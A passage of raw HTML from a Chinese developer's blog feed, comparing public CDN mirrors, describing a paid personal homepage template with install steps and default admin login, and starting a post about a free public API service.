colspan="1" rowspan="1" style="word-break: break-all;" width="188"><span style="font-size: 16px; text-decoration: line-through;">jsd.cdn.zzko.cn(已失效)</span></td><td valign="middle" align="center" colspan="1" rowspan="1" style="word-break: break-all;" width="188"><span style="font-size: 16px; text-decoration: line-through;">第三方(国内)</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px; text-decoration: line-through;">⭐️⭐️⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px; text-decoration: line-through;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px; text-decoration: line-through;">国内访问</span>速度超快<strong style="color: rgb(192, 0, 0); font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: rgb(252, 252, 252);">【未知原因下线】</strong></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px; text-decoration: line-through;">下线了</span></td></tr></tbody></table><p><br/></p><p style="text-wrap-mode: wrap;"><strong><span style="font-size: 16px;">使用方法:</span></strong></p><pre class="prism-highlight prism-language-markdown">GitHub 项目:https://<节点>/gh/<用户>/<仓库>/<文件>
npm 包:https://<节点>/npm/<包名>/<文件></pre><p style="text-wrap-mode: wrap;"><span style="font-size: 16px;"><strong>示例:</strong></span></p><pre class="prism-highlight prism-language-markdown">官方节点: https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.global.min.js
更换后的节点: https://gcore.jsdelivr.net/npm/[email protected]/dist/vue.global.min.js</pre><h3 style="text-wrap-mode: wrap;"><span style="font-size: 20px;">其他公共资源CDN</span></h3><table width="1033" interlaced="enabled"><tbody><tr class="ue-table-interlace-color-single firstRow"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;"><strong>节点<br/></strong></span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;"><strong>来源</strong></span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;"><strong>国内访问速度</strong></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><strong>优点</strong></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><strong>缺点</strong></span></td></tr><tr class="ue-table-interlace-color-double"><td valign="middle" align="center" colspan="1" rowspan="1"><a href="https://cdnjs.com" target="_blank"><span style="font-size: 16px;">https://cdnjs.com</span></a></td><td valign="middle" align="center" colspan="1" rowspan="1"><span style="font-size: 16px;">Cloudflare</span></td><td valign="middle" align="center" colspan="1" rowspan="1"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1"><span style="font-size: 16px;">资源全面</span></td><td valign="middle" align="center" colspan="1" rowspan="1"><span style="font-size: 16px;">速度慢</span></td></tr><tr class="ue-table-interlace-color-single"><td width="188" valign="middle" align="center" style="word-break: break-all;"><a href="https://cdn.bytedance.com" target="_blank" style="text-decoration: line-through;"><span style="text-wrap-mode: wrap; font-size: 16px; text-decoration: line-through;">https://cdn.bytedance.com</span><span style="text-wrap-mode: wrap; font-size: 16px;"></span></a></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px; text-decoration: line-through;">字节跳动</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px; text-decoration: line-through;">⭐️<span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px; text-decoration: line-through;">⭐️⭐️<span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px; text-decoration: line-through;">⭐️<span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; text-decoration: line-through;">⭐️</span></span></span></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px; text-decoration: line-through;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; text-decoration: line-through;">仅同步cdnjs, </span>速度快, <span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; text-decoration: line-through;">节点多</span><span style="font-size: 16px; color: #C00000; text-decoration: line-through;"><strong>【灰产原因已下线】</strong></span><br/></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px; text-decoration: line-through;">下线了</span></td></tr><tr class="ue-table-interlace-color-double"><td width="188" valign="middle" align="center" style="word-break: break-all;"><a href="https://lib.sinaapp.com" target="_blank"><span style="text-wrap-mode: wrap; font-size: 16px;">https://lib.sinaapp.com</span></a></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;">新浪云</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️⭐️<span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">⭐️</span></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;">速度快</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">资源很少</span></td></tr><tr class="ue-table-interlace-color-single"><td width="188" valign="middle" align="center" style="word-break: break-all;"><a href="https://staticfile.org" target="_blank"><span style="text-wrap-mode: wrap; font-size: 16px;">https://staticfile.org</span></a></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; text-wrap-mode: wrap;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #FCFCFC;">七牛云</span></span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">资源多</span></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">据说有被投毒了</span></span></td></tr><tr class="ue-table-interlace-color-double"><td width="188" valign="middle" align="center" style="word-break: break-all;"><a href="https://www.bootcdn.cn/" target="_blank"><span style="text-wrap-mode: wrap; font-size: 16px;">https://www.bootcdn.cn</span></a></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; text-wrap-mode: wrap;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #FCFCFC;">bootcdn</span></span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;"></span><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">资源多</span></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">据说有<span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">被投毒了</span></span></td></tr><tr class="ue-table-interlace-color-single"><td width="188" valign="middle" align="center" style="word-break: break-all;"><a href="https://www.zstatic.net" target="_blank"><span style="text-wrap-mode: wrap; font-size: 16px;">https://www.zstatic.net</span></a></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;">火山云CDN</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">仅同步cdnjs, </span><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #FCFCFC;">速度快, </span><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">节点多</span><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #FCFCFC; color: #00B050;"><strong>【推荐】</strong></span><strong style="color: rgb(0, 176, 80); font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: rgb(252, 252, 252);"></strong></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">实时更新风险</span></td></tr><tr class="ue-table-interlace-color-double"><td width="188" valign="middle" align="center" style="word-break: break-all;"><a href="https://mirrors.sustech.edu.cn" target="_blank" style="font-size: 16px; text-decoration: underline;"><span style="font-size: 16px;">https://mirrors.sustech.edu.cn</span></a></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">南方科技大学镜像站</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF;">⭐️⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;">同步资源多, 速度不赖</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><span style="font-size: 16px; text-align: -webkit-center; text-wrap-mode: wrap; background-color: #FCFCFC;">可靠性未知</span></span></td></tr></tbody></table><p><span style="color: #FF0000;"><strong>注意: </strong></span>本文中的所有测试结果均为博主个人测试得出的结论,实际效果可能因网络环境、设备配置或其他因素而有所不同。请根据自身情况谨慎参考。</p>Mon, 24 Feb 2025 16:22:34 +0800
- 小枫拟态UI5.0Pro - 个人主页源码https://www.xfabe.com/post/103.html<h1>
<span style="font-size: 24px;">小枫拟态UI5.0Pro</span>
</h1>
<p style="text-indent: 2em;">
<span style="font-size: 16px;"><a href="https://gitee.com/xfwlclub/mimicry-5-pro" target="_blank">小枫拟态UI5.0Pro</a>是一款由小枫独立开发的拟态风格的个人主页项目。</span>
</p>
<p style="text-indent: 2em;">
<span style="font-size: 16px;">本项目为希望创建个人网站的用户提供了一个独特的平台,专注于拟态风格的设计,展示个人主页和导航页面。通过简洁直观的用户界面,访问者可以轻松获取您的信息。我们的响应式设计确保在各种设备上都能提供一致的用户体验,无论是电脑、平板还是手机,用户都能流畅地浏览内容并获取所需信息。</span>
</p>
<p style="text-indent: 2em;">
<span style="font-size: 16px;">演示站:</span><span style="font-size: 16px;"> <a href="https://nitai5pro.xfabe.com/" target="_blank">https://nitai5pro.xfabe.com/</a></span>
</p>
<p style="text-indent: 2em;">
<span style="font-size: 16px;">后台: </span><a href="https://nitai5pro.xfabe.com/admin/login.html" target="_blank" style="font-size: 16px; text-decoration: underline;"><span style="font-size: 16px;">https://nitai5pro.xfabe.com/admin/login.html</span></a>
</p>
<p style="text-indent: 2em;">
<span style="font-size: 16px;">账号: admin</span>
</p>
<p style="text-indent: 2em;">
<span style="font-size: 16px;">密码: 123456</span>
</p>
<h3>
<span style="font-size: 20px;">主要功能</span>
</h3>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<span style="font-size: 16px;">实时获取访问者的基本信息</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">支持行为验证</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">自定义登陆秘钥</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">昼夜模式切换</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">自定义代码功能</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">友联申请</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">网站访问统计</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">支持SEO优化</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">用户数据导出功能</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">动态内容更新</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">高度自定义的导航菜单</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">自适应布局,优化移动端体验</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">便捷的后台管理系统</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">支持修改演示站 ...</span>
</p>
</li>
</ul>
<h3>
<span style="font-size: 20px;">技术栈</span>
</h3>
<p style="text-indent: 2em;">
<span style="font-size: 16px;">本项目是基于 <span style="font-size: 16px; color: #1F497D;">Node.js、Vue3 和 MySQL</span> 开发的。</span>
</p>
<h3>
<span style="font-size: 20px;">联系方式</span>
</h3>
<p>
<strong><span style="font-size: 16px;">如果您对我的作品感兴趣,可以通过以下方式与我取得联系:</span></strong>
</p>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<span style="font-size: 16px;">作者QQ: 1809185784</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">作者博客: <a href="https://www.xfabe.com" _src="https://www.xfabe.com">www.xfabe.com</a></span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;"> 售后群: <a href="https://qm.qq.com/q/9STPUwwHp6" target="_self">155670865</a></span>
</p>
</li>
</ul>
<h3>
<span style="font-size: 20px;">视频教程</span>
</h3>
<p>
<iframe src="//player.bilibili.com/player.html?isOutside=true&aid=113810543216689&bvid=BV1xUcPeSExG&cid=27819050231&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" style="width: 100%;" height="500px"></iframe>
</p>
<h3>
<span style="font-size: 20px;">注意事项</span>
</h3>
<ol class=" list-paddingleft-2" style="list-style-type: decimal;">
<li>
<p>
<span style="font-size: 16px;">本项目需要购买授权才能使用。<strong>(卡密购买地址: <a href="https://auth.nitai5pro.xfabe.com/" target="_blank">点击此处</a>)</strong></span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;"> 开发不易,希望大家能够支持正版!🌹</span>
</p>
</li>
</ol>
<h3>
<span style="font-size: 20px;">前提条件</span>
</h3>
<ol class=" list-paddingleft-2" style="list-style-type: decimal;">
<li>
<p>
<span style="font-size: 16px;">拥有一个<span style="font-size: 16px; color: #F79646;">聪明的大脑</span>🧠</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;"> 已经在服务器上安装并配置好宝塔面板。 </span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">服务器操作系统为 Linux(例如 Debian、Ubuntu、CentOS 9、OpenCloud 9 等)。</span>
</p>
</li>
</ol>
<h3>
<span style="font-size: 20px;">安装所需环境</span>
</h3>
<ol class=" list-paddingleft-2" style="list-style-type: decimal;">
<li>
<p>
<span style="font-size: 16px;">安装宝塔面板, 在宝塔面板首页, 点击“软件商店”。 </span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">选择安装软件环境: </span>
</p>
</li>
</ol>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<span style="font-size: 16px;">Web 服务器: Nginx</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">数据库MySQL: 5.7+</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">Node.js: <strong><span style="color: #F79646; font-size: 16px;">推荐使用 v20.12.2</span></strong>(作者使用的版本)。当然,<strong><span style="color: #9BBB59; font-size: 16px;">v18.18 及以上版本应该都可以正常运行</span></strong>。</span>
</p>
</li>
</ul>
<h3>
<span style="font-size: 20px;">安装教程(宝塔面板)</span>
</h3>
<p>
<span style="font-size: 16px;"> 1. 点击node项目</span>
</p>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 2. </span>安装node版本 推荐使用v20.12.2</span>
</p>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 3. </span>配置node命令行版本, 为你当前的版本一定要配置!!!</span>
</p>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 4. </span>导入install.sql数据库文件</span>
</p>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 5. </span>配置项目源码的config.js文件 </span>
</p>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<strong><span style="font-size: 16px;">注意:</span></strong><span style="font-size: 16px;"> 如果后面修改了项目*<strong>*<span style="font-size: 16px; color: #FF0000;">除public目录文件(多读几遍)<span style="font-size: 16px; text-wrap-mode: wrap;">的任何代码</span></span></strong>**<strong><span style="font-size: 16px;"><span style="font-size: 16px;">都需要重启下node项目</span>,否则代码保存后不生效!!!</span></strong></span>
</p>
</li>
</ul>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 6. </span>添加node项目:</span>
</p>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<span style="font-size: 16px;">项目目录: 设置本项目的根目录即可</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">项目名称: 不用配置(会自己获取)</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">启动选项: 不用配置(会自己获取)</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">Node版本: <strong>配置推荐给你的node版本就行, 没有的话就使用v16.xx</strong></span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">包管理器: <span style="font-size: 16px; color: #F79646;"><strong>设置成npm</strong></span></span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">运行用户: 设置成root</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">项目端口: <span style="font-size: 16px; color: #F79646;"><strong>填写config.js的项目端口就行 注意不要冲突了</strong></span></span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">项目备注: 不用配置(会自己获取)</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">绑定域名: 填写你自己的域名即可(例如: test.xfabe.com)</span>
</p>
</li>
</ul>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 7. </span>点击确定等下载安装node包</span>
</p>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 8. 再</span><a href="https://auth.nitai5pro.xfabe.com/" target="_blank"><span style="font-size: 16px;"><strong>点击此处购买卡密</strong></span></a></span>
</p>
<p>
<strong><span style="font-size: 16px; text-wrap-mode: wrap;"> </span></strong><span style="font-size: 16px; text-wrap-mode: wrap;">9. </span><strong><span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"></span>第一次搭建只需要填写 <span style="font-size: 16px; color: #FF0000;">[授权卡密、授权域名、QQ号]</span> 表单内容即可</span></strong>
</p>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 10. </span>校验成功后进入后台:</span>
</p>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<span style="font-size: 16px;">登陆地址: http://你的域名/admin/login.html</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">账号: admin</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">密码: 123456</span>
</p>
</li>
</ul>
<p>
<span style="font-size: 16px;"><span style="font-size: 16px; text-wrap-mode: wrap;"> 11. </span><span style="font-size: 16px;">项目<span style="font-size: 16px; color: #00B050;">搭建完成</span></span></span>
</p>
<h3>
<span style="font-size: 20px;">注意</span><span style="font-size: 16px;"><br/></span>
</h3>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<span style="font-size: 16px;">如果你配置了 <strong>登陆页秘钥</strong> 请一定要</span><span style="font-size: 16px; text-decoration: line-through;">手动刷新下页面</span><span style="font-size: 16px;"><span style="font-size: 16px;">(已修复,无需刷新)</span><span style="font-size: 16px;">获取新的登陆地址, 否则你会很懵逼为什么第二天进不去了</span>。</span>
</p>
</li>
<li>
<p>
<span style="font-size: 16px;">如果是第<strong>二次校验卡密, 二次授权秘钥, 获取秘钥需要通过之前购买的卡密去查询你的你要 <a href="https://auth.nitai5pro.xfabe.com/" target="_blank">点击此处获取秘钥</a></strong></span>
</p>
<p>
<span style="font-size: 16px;"><strong><a href="https://auth.nitai5pro.xfabe.com/" target="_blank"></a></strong></span>
</p>
</li>
</ul>
<h4>
<span style="font-size: 20px; text-decoration: none;">下载地址</span>
</h4>
<p>
<span style="font-size: 16px;"><strong><a href="https://auth.nitai5pro.xfabe.com/" target="_blank"></a></strong></span>
</p>
<p>
<span style="font-size: 16px;"><strong><a href="https://auth.nitai5pro.xfabe.com/" target="_blank"></a></strong></span>
</p>
<p style="height: 50px;">
<a style="position: relative; z-index: 1; display: inline-block; *display: inline; *zoom: 1; height: 42px; line-height: 37px; padding-left: 50px; padding-right: 20px; margin-right: 10px; margin-bottom: 10px; border: 1px solid #d7d7d7; border-width: 1px 1px 4px; font-size: 14px; font-weight: 700; color: #0b588c; text-decoration: none; -moz-transition: none; -webkit-transition: none; -o-transition: none; transition: none; border-radius: 2px;" href="https://gitee.com/xfwlclub/mimicry-5-pro" target="_blank"><em style="position: absolute; z-index: 2; left: 11px; top: 12px; width: 12px; height: 12px; font-size: 0; background-position: -63px -166px; background: url(http://www.xfabe.com/zb_users/upload/2022/01/202201131642054312869932.png) no-repeat;"></em><em style="position: absolute; z-index: 2; left: 32px; top: 0; height: 100%; width: 1px; background-color: #d7d7d7;"></em>gitee</a> <a style="position: relative; z-index: 1; display: inline-block; *display: inline; *zoom: 1; height: 42px; line-height: 37px; padding-left: 50px; padding-right: 20px; margin-right: 10px; margin-bottom: 10px; border: 1px solid #d7d7d7; border-width: 1px 1px 4px; font-size: 14px; font-weight: 700; color: #0b588c; text-decoration: none; -moz-transition: none; -webkit-transition: none; -o-transition: none; transition: none; border-radius: 2px;" href="https://xfzy2020.lanzoul.com/b0mb7r7xi" target="_blank"><em style="position: absolute; z-index: 2; left: 11px; top: 12px; width: 12px; height: 12px; font-size: 0; background-position: -63px -166px; background: url(http://www.xfabe.com/zb_users/upload/2022/01/202201131642054312869932.png) no-repeat;"></em><em style="position: absolute; z-index: 2; left: 32px; top: 0; height: 100%; width: 1px; background-color: #d7d7d7;"></em>蓝奏云</a><small>密码:gvqy</small>
</p>
<h4>
<span style="font-size: 20px;">鸣谢</span>
</h4>
<p>
<span style="font-size: 20px;"></span>
</p>
<ul class=" list-paddingleft-2" style="list-style-type: disc;">
<li>
<p>
<strong><span style="font-size: 16px;">项目赞助:</span></strong><span style="font-size: 16px;"> <a href="https://gumowl.com/" target="_blank">顾陌 QQ 2102919229</a></span>
</p>
</li>
<li>
<p>
<strong><span style="font-size: 16px;">服务器提供商:</span></strong><span style="font-size: 16px;"> <a href="https://www.vpsf.net/" target="_blank">嘉维云 QQ 511999671</a></span>
</p>
</li>
</ul>
<p>
<span style="font-size: 16px;"><a href="https://www.vpsf.net/" target="_blank"></a></span>
</p>
<h4 style="text-indent: 0em; text-wrap-mode: wrap;">
<span style="font-size: 20px;">展示图</span>
</h4>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-1.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-2.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-3.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-4.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-5.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-6.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-7.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-8.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-9.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-10.png" width="100%"/>
</p>
<p style="text-indent: 0em; text-wrap-mode: wrap;">
<img class="ue-image" src="https://cdn.xfabe.com/xfwl/nitai5pro/pc-11.png" width="100%"/>
</p>
<p>
<span style="font-size: 16px;"><a href="https://www.vpsf.net/" target="_blank"></a></span><br/>
</p>Sat, 11 Jan 2025 23:59:57 +0800
- 小枫公益API - 致力于为开发者提供免费、稳定、快速的Web Api服务https://www.xfabe.com/post/102.html<h1><span style="font-size: 24px;">小枫公益API</span></h1><p style="text-indent: 2em;"><strong><span style="font-size: 16px;">声明:</span></strong><span style="font-size: 16px;"><span style="white-space: pre-wrap;">提供的所有API接口仅供学习和娱乐使用。我们尊重并保护所有版权和知识产权,如有任何侵权行为,<span style="font-size: 16px; white-space: pre-wrap; color: #F79646;">请通过以下方式与我们联系(博主QQ:1809185784)</span>。</span><span style="font-size: 16px; color: #F79646;"></span></span></p><p style="text-indent: 2em;"><a href="https://api.xfabe.com/" target="_blank"><span style="font-size: 16px;">小枫公益API(api.xfabe.com)</span></a><span style="font-size: 16px;">是一款由博主独立开发的API管理系统<span style="white-space: pre-wrap;">,我始终坚持公益初心</span>,致力于为<span style="white-space: pre-wrap;">广大开发者提供一个方便、安全、易于使用的API平台,<span style="white-space: pre-wrap;">我们相信,在小枫公益API的帮助下,开发者们一定能够在API技术的道路上走得更远!</span>助大家在学习和探索API技术的道路上更进一步。</span></span></p><p style="text-indent: 2em;"><span style="font-size: 16px;"><span style="white-space: pre-wrap;"><span style="white-space: pre-wrap;">小枫公益API提供了丰富的API接口,网易音乐解析<strong>(仅提供学习使用)</strong>,QQ信息查询、天气信息查询、随机图片等API。博主<span style="font-size: 16px; text-indent: 28px; white-space: pre-wrap;">为每个API都提供了详细的文档说明,包括接口地址、请求参数、返回结果等信息。</span>开发者可以根据自己的需求选择合适的API进行学习和使用。</span></span></span></p><p style="text-indent: 2em;"><span style="font-size: 16px;"><span style="white-space: pre-wrap;"><span style="white-space: pre-wrap;"><span style="font-size: 16px; text-indent: 28px; white-space: pre-wrap;">本系统采用前后端分离模式开发,</span><span style="font-size: 16px; text-indent: 28px; white-space: pre-wrap; color: #9BBB59;">UI源文件已经放到文章底部了,喜欢的同学可自行下载!</span></span></span></span></p><p style="text-indent: 2em;"><strong><span style="font-size: 16px; white-space-collapse: preserve;">技术栈:</span></strong></p><ul class=" list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-indent: 0em;"><span style="font-size: 16px; white-space-collapse: preserve;">UI:实用的是<span style="white-space: pre-wrap;">Photoshop 2018进行UI页面设计,确保界面美观且用户友好。</span></span></p></li><li><p style="text-indent: 0em;"><span style="font-size: 16px; white-space-collapse: preserve;">前端:<span style="white-space: pre-wrap;">使用Vue 3框架,结合TypeScript、axios和Element Plus组件库,打造高效、灵活的前端应用。</span></span></p></li><li><p style="text-indent: 0em;"><span style="font-size: 16px; white-space-collapse: preserve;">后端:<span style="white-space: pre-wrap;">基于Node.js和Express框架构建后端服务,确保系统的稳定性和扩展性。</span></span></p></li></ul><p style="text-indent: 2em;"><span style="font-size: 16px; white-space-collapse: preserve;">最后感谢<a href="https://www.vpsf.net" target="_blank"><strong>嘉维云(www.vpsf.net)</strong></a>对本系统的赞助支持!</span></p><h4 style="text-indent: 0em;"><span style="white-space-collapse: preserve; font-size: 20px;">下载地址</span></h4><p style="height: 50px;"><a style="position: relative; z-index: 1; display: inline-block; *display: inline; *zoom: 1; height: 42px; line-height: 37px; padding-left: 50px; padding-right: 20px; margin-right: 10px; margin-bottom: 10px; border: 1px solid #d7d7d7; border-width: 1px 1px 4px; font-size: 14px; font-weight: 700; color: #0b588c; text-decoration: none; -moz-transition: none; -webkit-transition: none; -o-transition: none; transition: none; border-radius: 2px;" href="https://www.123pan.com/s/4B99-HFAHh.html" target="_blank"><em style="position: absolute; z-index: 2; left: 11px; top: 12px; width: 12px; height: 12px; font-size: 0; background-position: -63px -166px; background: url(http://www.xfabe.com/zb_users/upload/2022/01/202201131642054312869932.png) no-repeat;"></em><em style="position: absolute; z-index: 2; left: 32px; top: 0; height: 